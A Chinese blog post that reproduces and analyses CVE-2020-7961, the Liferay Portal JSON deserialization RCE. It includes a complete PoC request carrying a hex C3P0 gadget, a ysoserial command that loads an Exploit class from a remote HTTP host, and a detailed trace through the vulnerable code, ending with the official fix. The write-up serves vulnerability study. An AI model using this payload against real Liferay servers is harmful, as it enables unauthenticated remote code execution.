CVE-2020-7961 Liferay Portal 复现分析
漏洞说明:
Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.
该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化,危害较高
影响范围:
Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X
环境搭建:
https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带tomcat的集成版,接下来就可以运行了,安装过程一路默认配置即可
漏洞复现:
poc:
POST /api/jsonws/invoke HTTP/1.1
Host: php.local:8080
Content-Length: 2335
Content-Type: application/x-www-form-urlencoded
Connection: close cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}
本地起http server 挂载Exploit.class字节码文件
ysoserial c3p0生成:
java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser
然后用以下脚本转为16进制:
import java.io.*; public class poc {
public String encodeHex(InputStream fi) throws IOException {
int size;
String hexStr="";
while ((size=fi.read())!=-){
String byteChar = Integer.toHexString(size);
if(byteChar.length()<) {
byteChar = "" + byteChar;
}
hexStr = hexStr + byteChar;
}
return hexStr;
}
public static void main(String[] args) throws IOException {
FileInputStream fi = new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/test.ser"));
poc obj = new poc();
String pocStr = obj.encodeHex(fi);
System.out.println(pocStr);
}
}
或者用mashalsec直接生成16进制paylaod:
漏洞分析:
https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services 这里是关于liferay的一些说明文档,主要是可以如何通过http://localhost:8080/api/jsonws提供的一些api
可以直接通过api/jsonws 来查看调用结果或者通过其他形式来调用api,比如随便调用一个api,填上对应数据类型的字段,将通过/api/jsonws/invoke进行调用,可以看到此时参数全部都在post包的body中
那么实际上是api/jsonws/invoke这条路由来处理的请求,那么去web.xml下面看一下对应的serverlet,存在此条url匹配规则
找到该serverlet对应的类,可以看到此时位于
直接找到该类位置
windows下开启debug: start.bat中添加
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8788
开启debug,invoke的filter一路走向如上图所示,直到匹配到该serverlet的处理逻辑,调用其service方法来处理http请求
HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有信息。
getRequestURL方法返回客户端发出请求时的完整URL。
getRequestURI方法返回请求行中的资源名部分。
getQueryString 方法返回请求行中的参数部分。
getPathInfo方法返回请求URL中的额外路径信息。额外路径信息是请求URL中的位于Servlet的路径之后和查询参数之前的内容,它以“/”开头。
getRemoteAddr方法返回发出请求的客户机的IP地址。
getRemoteHost方法返回发出请求的客户机的完整主机名。
getRemotePort方法返回客户机所使用的网络端口号。
getLocalAddr方法返回WEB服务器的IP地址。
getLocalName方法返回WEB服务器的主机名。
Web应用中servlet可以使用servlet上下文(context)得到:
1.在调用期间保存和检索属性的功能,并与其他servlet共享这些属性。
2.读取Web应用中文件内容和其他静态资源的功能。
3.互相发送请求的方式。
4.记录错误和信息化消息的功能。
一个servlet上下文是servlet引擎提供用来服务于Web应用的接口。Servlet上下文具有名字(它属于Web应用的名字)唯一映射到文件系统的一个目录。
一个servlet可以通过ServletConfig对象的getServletContext()方法得到servlet上下文的引用,如果servlet直接或间接调用子类GenericServlet,则可以使用getServletContext()方法。
上图主要是提取请求路径,判断是否来显示api列表(path为""或"/"),否则调用父类的service方法处理http请求
request.getContextPath()可返回站点的根路径,应该是得到项目的名字,如果项目为根目录,则得到一个"",即空的字条串。如果项目为abc, <%=request.getContextPath()% > 将得到abc
比如要是请求api/jsonws,则走到下面逻辑
接着在重定向方法中设置http请求的一些属性,对于该次请求的处理即结束
那么话说回去,正常poc到其父类的JSONserverlet的service方法中,调用jsonWebserviceaction对象的execute来处理http请求
接着判断servletContextName为空则返回false
接着到①处拿到authtype为空直接return
直接到getJSONWebServiceAction()方法中,拿到当前请求的路径为invoke,则返回一个invokeaction实例
实例化过程中将从http请求中拿到参数cmd的值
接着猜测应该是反射执行该cmd的值,cmd的值也是json形式,这里先调用portal的json parser器解析cmd的值反序列化后(非原生反序列化)返回一个object(hashmap,里面存着cmd所代表的键值对)
然后再将hashmap放到list中,这个应该是判断parser解析的结果来选择处理方式
接着就是循环遍历该list 取出其中的hashmap,并获取迭代器的方式遍历hashmap,取出保存在其中的键值对,也就是cmd对应的键和值,调用parsestatement处理主要就是解析出要反射调用的api
接着到executeStatement中来进行实际的api调用,到目前为止api都是以uri的方式存在,只是一个虚拟路径,那么在java中肯定有相应的处理类,所以肯定要找到它,getJSONWebServiceAction就完成了这个功能,并且也完成了提取http body中的参数作为api 反射调用的参数,先直接看看该方法调用返回后的JsonWebserviceAction
从jsonwebServiceAction的值可以看到又用到了代理的知识,这种设计模式真的是在java web网络通信应用中挺常用,从actionmethod中就能看到实际上api调用的是proxy代理类的addcolumn方法,那么proxy代理的接口是expandoColumn接口,可以在注解里面看到其实现类是ExpandoColumnImpl,并且可以看到实际处理该api调用的类为ExpandoColumnServiceImpl,总之getJSONwebServiceaction完成了api调用的初始化准备工作,还是有跟一下的必要
到getJSONWebServiceAction中看看,其中有个jsonWebServiceActionParameters.collectAll又传入了httpserverletrequest,猜测其要处理http请求的内容,跟进
进一步获取服务上下文,通过_getInstance来实际处理http 请求中的参数了,要获取http请求的相关内容,肯定要用到相关的接口
所以回到catalina.connector的request类中,将拿到http请求的一切内容(提供的获取http请求的接口必须走到这个类)
最后拿到的含有请求参数的ParameterMap如下图所示,所有的参数值都是以=分割,包括我们的序列化数据的其键值对,接着遍历该map,再将其中的值取出来存到hashmap中保存到attributes成员变量里
然后再赋给服务上下文作为其内部成员变量来使用,真的是挺曲折的==
加工完service context 获取http参数后,再将之前获得的相关参数值赋给下图的jsonWebService相关变量,之后返回一个actionImple的实例,并且这些参数传入,后面猜应该要根据这些值来反射调用方法了
如下图所示到_invokeActionMethod方法中执行
因为之前的解析也已经知道实际上poc里面调用的addcolumn api是对应的下图的actionclass的addcolumn 重载其一方法,支持转入4个参数,包括一个object,作为defaultdata参数名传入,漏洞点就在此
那么接着就要获取action class的参数,为了后面进行反射执行,这里调用_prepareParameters方法
由下图就能看到,此时拿到的参数名,参数类型以及参数值,参数类型就是Object,参数类型的值即为C3P0的绝对路径
若参数类型值不为空,则通过类加载机制将其加载到jvm中(利用本地gadget),这里用loadclass来加载该类说明目标对象被装载后不进行链接,这就意味这不会去执行该类静态块中间的内容
接着因为default的参数值不为void,所以调用this._convertValueToParameterValue对参数值进行处理,接着猜测应该是判断这里传入的参数的具体类型
如下图所示也正是如此,判断传入的参数类型,匹配了几种情况后若不满足则将参数值置null
然后调用convertType方法来将此时的value和参数类型进行转换后赋值给parameterValue,然而预置的转换规则并不匹配poc中的c3p0类
接着继续往下走,判断当前的default的值是否以{开头,满足则调用looseDeserialize来处理,这里也是反序列化的关键点(json数据反序列化)
由于portal用的是jodd的json解析,因此此时使用其jsonParser对参数值进行扫描
对于传入的payload json数据,jodd将使用injectValueIntoObject将参数的值还原到参数对象中
就像fastjson反射调用set赋值类似,jodd也通过json中的属性来生成setter方法,然后反射调用参数对象所代表类的对应setter方法来赋值
接着就到了set方法中,此时将根据解析规则,解析赋给userOveridesAsString的值
存储的16进制payload将被还原为序列化的字节码文件存储在字节数组中
那么我们知道字节数组肯定不能直接反序列化,所以要如下图转为ObjectInputStream
反序列化gadget
接下来就到了反序列化时刻了,与之前分析的C3P0反序列化相同
整个处理流程总结:
1.根据uri的/api/jsonws/invoke获取cmd参数的值,根据其值确定要调用的api函数,然后通过动态代理确定要用哪个类来处理具体的api调用逻辑
2.确定完处理类后,要传给其参数值,因此到catalina.connector中取http body中的值,赋给服务上下文作为其内部成员变量做准备
3.接着为反射调用api对应成员方法准备入口参数(已经存到context中了),因为poc中利用的api是支持传入object的(漏洞存在的原因,划重点),所以肯定要涉及到根据提供的类的来装载(loadclass完成),以及反序列化还原object,在判断传入的object的参数值满足json数据前缀后则调用jodd库来对json数据进行处理,尝试恢复对象,jodd解析规则根据属性确定setter方法,并确定要还原的值(序列化payload),到此进入c3p0的处理逻辑
4.c3p0的利用,该类的setuserOverridesAsString方法可以将16进制编码的序列化数据进行反序列化,序列化数据即为本地的lib下的gadget
从api匹配到获取http body中的值进行反序列化,从应用程序上来讲问题就是某些api的入口参数为object,然而序列化的数据传输后还原必然要经过反序列化,应用提供了太过于宽泛的反序列化操作,defaultdata后面的类名可控(以分号分割)
感觉也不是jodd库的锅,应用里面也匹配反序列化的类,但是对不在匹配规则中的类并未做黑白名单限制,所以说本地只要有能够利用的gadget,就能够利用
官方的修复方法是:
Disable JSONWS by setting the portal.property jsonws.servlet.hosts.allowed=Not/Available
也就是禁用jsonws的调用,在portalimpl.jar下面有这个protal.property配置文件,启动默认加载的,全局生效
另外这个web代码量太大了,看的人都晕了,有说的不对的还请指出,本来想找找有没有xxe,结果:)...
参考:
CVE-2020-7961 Liferay Portal 复现分析的更多相关文章
- Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)
影响范围 Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Por ...
- 新书:《Liferay Portal 6.1最佳实践门户网站建设》
新书:<Liferay Portal 6.1最佳实践门户网站建设> <Liferay Portal 6.1门户站点建设最佳实践>是国内第一本全面介绍Liferay Port ...
- 路由器漏洞复现分析第三弹:DVRF INTRO题目分析
这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...
- CVE-2021-3129:Laravel远程代码漏洞复现分析
摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- ref:spring-data-XMLBean XXE复现分析
ref:https://blog.spoock.com/2018/05/16/cve-2018-1259/ 漏洞信息 看pivotal发布的漏洞信息如下 通过发布的漏洞信息可以知道,漏洞组件是在XML ...
- 路由器漏洞复现分析第二弹:CNVD-2018-01084
1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084),freebuf上有前辈写了一篇漏洞复现和poc的文章(h ...
- Wordpress4.9.6 任意文件删除漏洞复现分析
第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...
- java反序列化——apache-shiro复现分析
本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...
随机推荐
- 使用HBuilder开发移动APP:开发环境准备(转)
一直想开发个APP玩玩的,但是作为一个PHP码农,需要新学习JAVA或者Object C,这也是一直没能实现这个目标的原因.但是现在HTML5+.APPCAN.apicloud很多工具利用前端技术就能 ...
- 与Nexus为Maven搭建私服
目录 Nexus 的概述 Nexus 安装与部署 Nexus 在 Windows 上安装与使用 安装 使用 Nexus 在 Linux 上安装与使用 Nexus 的概述 引用百度百科一段话 Nexus ...
- JavaScript对象(一)
Part One:对象的创建对象的创建,可以使用new Object() 或者 Object.creat(),该方法为静态函数 var foo = Object.create({x:1,y:2}); ...
- aosp 制作 rom 刷机 添加厂家二进制驱动 及 出厂镜像
首先介绍下背景知识. aosp 仅是一套源码,不含厂家驱动. CM安卓的厂家驱动是自行提取的. 一般的安卓手机分区,有 boot , system, user , Baseband 基带, recov ...
- C语言程序设计(二) C数据类型
第二章 C数据类型 八进制整数由数字0开头,后跟0~7的数字序列组成. 十六进制整数由数字0加字母x(或X)开头,后跟0~9,a~f(或A~F)的数字序列组成. 整型常量: 默认的int型定义为有符号 ...
- go入门二
一.流程控制 1.选择结构 if-else: package main import ( "io/ioutil" "fmt" ) func main(){ co ...
- Array.isArray() 判断是不是数组
var arr = new Array(); if(Array.isArray()){ console.log('yes') } else { conssole.log('no') }
- 读源码 - stagesepx
目录 背景 一.概述 stagesepx 二.源码中优雅的用法 优雅的赋值/返回 递归方法新建多级目录 更简洁的日志输出 格式化输出的另一种姿势 基于生成器读取多个文件 sorted进阶 入参类型限制 ...
- pytorch的自动求导机制 - 计算图的建立
一.计算图简介 在pytorch的官网上,可以看到一个简单的计算图示意图, 如下. import torchfrom torch.autograd import Variable x = Variab ...
- mysql刷题(不定时更新)
面试阶段大家基本都会问一些mysql的题,具体的高深理论以后再慢慢补充,但是刷题是不可避免的,下面直接上货 创建/删除表和索引系列 创建表 CREATE TABLE if not exists `te ...